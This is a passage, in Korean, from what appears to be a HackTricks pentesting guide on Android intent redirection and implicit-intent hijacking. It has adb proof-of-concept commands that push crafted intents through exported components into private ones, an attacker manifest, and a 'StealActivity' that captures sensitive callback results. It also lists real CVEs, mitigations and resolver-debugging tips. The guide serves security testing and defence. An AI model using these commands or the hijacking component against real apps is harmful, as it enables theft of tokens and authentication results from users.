- `getCallingPackage()`/`getCallingActivity()` ๊ฒ€์‚ฌ๋‚˜ ์ปค์Šคํ…€ ๊ถŒํ•œ ๊ฒ€์ฆ์ด ์—†๋Š” ๊ฒฝ์šฐ.

ADB PoC ํ…œํ”Œ๋ฆฟ
- ํ”„๋ก์‹œ Activity๊ฐ€ ์ถ”๊ฐ€ Intent๋ฅผ ๊ถŒํ•œ ์žˆ๋Š” ๋‚ด๋ถ€ Activity๋กœ ์ „๋‹ฌ:
```bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
  • redirect_intent parcelable์„ ์ฒ˜๋ฆฌํ•˜๋Š” Exported Service:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
  • Exported Receiver (๊ฒ€์ฆ ์—†์ด ์ค‘๊ณ„ํ•จ):
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

singleTask ์Šคํƒ€์ผ ๋™์ž‘์— ์œ ์šฉํ•œ Flags

# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task

์‹ค์ œ ์‚ฌ๋ก€(์˜ํ–ฅ์€ ๋‹ค์–‘ํ•จ):

  • CVE-2024-26131 (Element Android): exported ํ”Œ๋กœ์šฐ๊ฐ€ WebView ์กฐ์ž‘, PIN ์šฐํšŒ, login hijack์œผ๋กœ ์ด์–ด์ง.
  • CVE-2023-44121 (LG ThinQ Service): exported receiver action com.lge.lms.things.notification.ACTION โ†’ ์‹œ์Šคํ…œ ์ˆ˜์ค€ ์˜ํ–ฅ.
  • CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): ๋ฆฌ๋””๋ ‰์…˜ โ†’ ์ž„์˜ ํŒŒ์ผ ์ ‘๊ทผ(์‚ฌ์šฉ์ž ์ƒํ˜ธ์ž‘์šฉ ํ•„์š”).
  • CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents๊ฐ€ content๋ฅผ leakํ•จ.
  • CVE-2021-4438 (React Native SMS User Consent).
  • CVE-2020-14116 (Xiaomi Mi Browser).

Intent Hijacking (implicit intents)

์œ„ํ˜‘ ๋ชจ๋ธ

  • App A๋Š” implicit Intent๋ฅผ ์‚ฌ์šฉํ•ด App B๋กœ๋ถ€ํ„ฐ ๋ฏผ๊ฐํ•œ ๊ฒฐ๊ณผ๋ฅผ ๊ธฐ๋Œ€ํ•จ(์˜ˆ: OAuth redirect, document picker ๊ฒฐ๊ณผ, IMAGE_CAPTURE ๋ฆฌํ„ด, ๋˜๋Š” custom callback action).
  • ๊ณต๊ฒฉ์ž App C๋Š” ๋™์ผํ•œ action/category/data์— ๋งค์นญ๋˜๋Š” <intent-filter>๋ฅผ ๊ฐ€์ง„ exported ์ปดํฌ๋„ŒํŠธ๋ฅผ ๊ฒŒ์‹œํ•œ๋‹ค. B๊ฐ€ implicit Intent๋ฅผ resolveํ•  ๋•Œ resolver๊ฐ€ chooser๋ฅผ ํ‘œ์‹œํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ; ์‚ฌ์šฉ์ž๊ฐ€ C๋ฅผ ์„ ํƒ(๋˜๋Š” ๊ธฐ๋ณธ์œผ๋กœ ์„ค์ •)ํ•˜๋ฉด ํŽ˜์ด๋กœ๋“œ๊ฐ€ A ๋Œ€์‹  ๊ณต๊ฒฉ์ž ์ปดํฌ๋„ŒํŠธ๋กœ ์ „๋‹ฌ๋œ๋‹ค.

์ตœ์†Œ PoC ๋งค๋‹ˆํŽ˜์ŠคํŠธ(๊ณต๊ฒฉ์ž):

<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>

ํ•ธ๋“ค๋Ÿฌ ๋ผˆ๋Œ€:

public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}

์ฐธ๊ณ 

  • ๋งค์นญ์˜ ๊ตฌ์ฒด์„ฑ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค (action + categories + data). C์˜ ํ•„ํ„ฐ๊ฐ€ B์˜ ์†ก์‹  Intent์— ๋” ๊ตฌ์ฒด์ ์ผ์ˆ˜๋ก ํ‘œ์‹œ๋˜๊ฑฐ๋‚˜ ์ž๋™ ์„ ํƒ๋  ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์•„์ง‘๋‹ˆ๋‹ค.
  • ์ด๋Š” ์•ฑ์ด ๋‹ค๋ฅธ ์•ฑ์ด URL์„ ์ฒ˜๋ฆฌํ•˜๊ณ  ๋ฌด์–ธ๊ฐ€๋ฅผ ๋ฐ˜ํ™˜ํ•˜๊ธฐ๋ฅผ ๊ธฐ๋Œ€ํ•  ๋•Œ์˜ deep links (VIEW + BROWSABLE)์—๋„ ์ ์šฉ๋ฉ๋‹ˆ๋‹ค.

Pentest guidance

  • ํƒ€๊นƒ์—์„œ ๋ช…์‹œ์ ์ด์ง€ ์•Š์€ Intents๋ฅผ ์‚ฌ์šฉํ•˜๋Š” startActivity/startActivityForResult/registerForActivityResult ํ˜ธ์ถœ์„ grepํ•˜์„ธ์š”.
  • extras, clipData, ๋˜๋Š” getData()์— ํ† ํฐ์„ ๋‹ด์•„ ๋ณด๋‚ด๋Š” Intents๋ฅผ ๊ฒ€์‚ฌํ•˜๊ณ , ํƒ€์‚ฌ๊ฐ€ ํ˜ธํ™˜ ๊ฐ€๋Šฅํ•œ ํ•„ํ„ฐ๋ฅผ ๋“ฑ๋กํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.
  • ์•”๋ฌต์  ํ๋ฆ„์„ ๋ช…์‹œ์  Intents๋กœ ๊ต์ฒด( set setPackage()/setComponent() ), ๋˜๋Š” exported receivers/services์— ๋Œ€ํ•ด caller-permission/์„œ๋ช…๋œ ๊ถŒํ•œ์„ ์š”๊ตฌํ•˜๋„๋ก ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค.

์™„ํ™”์ฑ…

  • ์ฝœ๋ฐฑ, ํ† ํฐ, ์ธ์ฆ ๊ฒฐ๊ณผ ๋“ฑ ๋ฏผ๊ฐํ•œ ํ๋ฆ„์—๋Š” ๋ช…์‹œ์  Intents๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • ์•ฑ ๊ฐ„ ํ†ต์‹ ์ด ํ•„์š”ํ•œ ๊ฒฝ์šฐ ์ˆ˜์‹  ์ปดํฌ๋„ŒํŠธ์— ๊ถŒํ•œ ์š”๊ตฌ์‚ฌํ•ญ์„ ์ถ”๊ฐ€ํ•˜๊ณ  ํ˜ธ์ถœ์ž ์‹ ์›์„ ๊ฒ€์ฆํ•˜์„ธ์š”.
  • Intent filters๋Š” ๊ผญ ํ•„์š”ํ•œ ๊ฒƒ๋งŒ ํ—ˆ์šฉํ•˜๋„๋ก ์ œํ•œํ•˜๊ณ  ์—„๊ฒฉํ•˜๊ฒŒ ์„ค์ •ํ•˜์„ธ์š” (scheme/host/path/MIME).

๋ฆฌ์กธ๋ฒ„ ๊ฒฐ์ • ๊ด€์ฐฐ (FLAG_DEBUG_LOG_RESOLUTION)

์†ก์‹ ์ž๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ์•”๋ฌต์  Intent์— Intent.FLAG_DEBUG_LOG_RESOLUTION์„ ์ถ”๊ฐ€ํ•˜์—ฌ Android๊ฐ€ ์–ด๋–ค ๋ฐฉ์‹์œผ๋กœ ๋ฆฌ์กธ๋ฃจ์…˜์„ ์ˆ˜ํ–‰ํ•˜๊ณ  ์–ด๋–ค ์ปดํฌ๋„ŒํŠธ๊ฐ€ ์„ ํƒ๋˜๋Š”์ง€ ๋กœ๊ทธ๋ฅผ ๋‚จ๊ธฐ๊ฒŒ ํ•˜์„ธ์š”.

์˜ˆ์‹œ:

Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);

adb logcat์—์„œ ๋ณด์ด๋Š” ๊ฒƒ์€ intent ํ•ด๊ฒฐ ์ถ”์ ๊ณผ ์ตœ์ข… ์ปดํฌ๋„ŒํŠธ์ž…๋‹ˆ๋‹ค. ์˜ˆ: com.android.camera2/com.android.camera.CaptureActivity.

CLI tip

# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008

# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"

์ด๊ฒƒ์€ ๋””๋ฐ”์ด์Šค/์—๋ฎฌ๋ ˆ์ดํ„ฐ์—์„œ ํ›„๋ณด ํ•ธ๋“ค๋Ÿฌ๋ฅผ ์—ด๊ฑฐํ•˜๊ณ  ํ…Œ์ŠคํŠธ ์ค‘์— ์–ด๋–ค ์ปดํฌ๋„ŒํŠธ๊ฐ€ ์ •ํ™•ํžˆ Intent๋ฅผ ๋ฐ›์„์ง€ ํ™•์ธํ•˜๋Š” ๋ฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.


References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ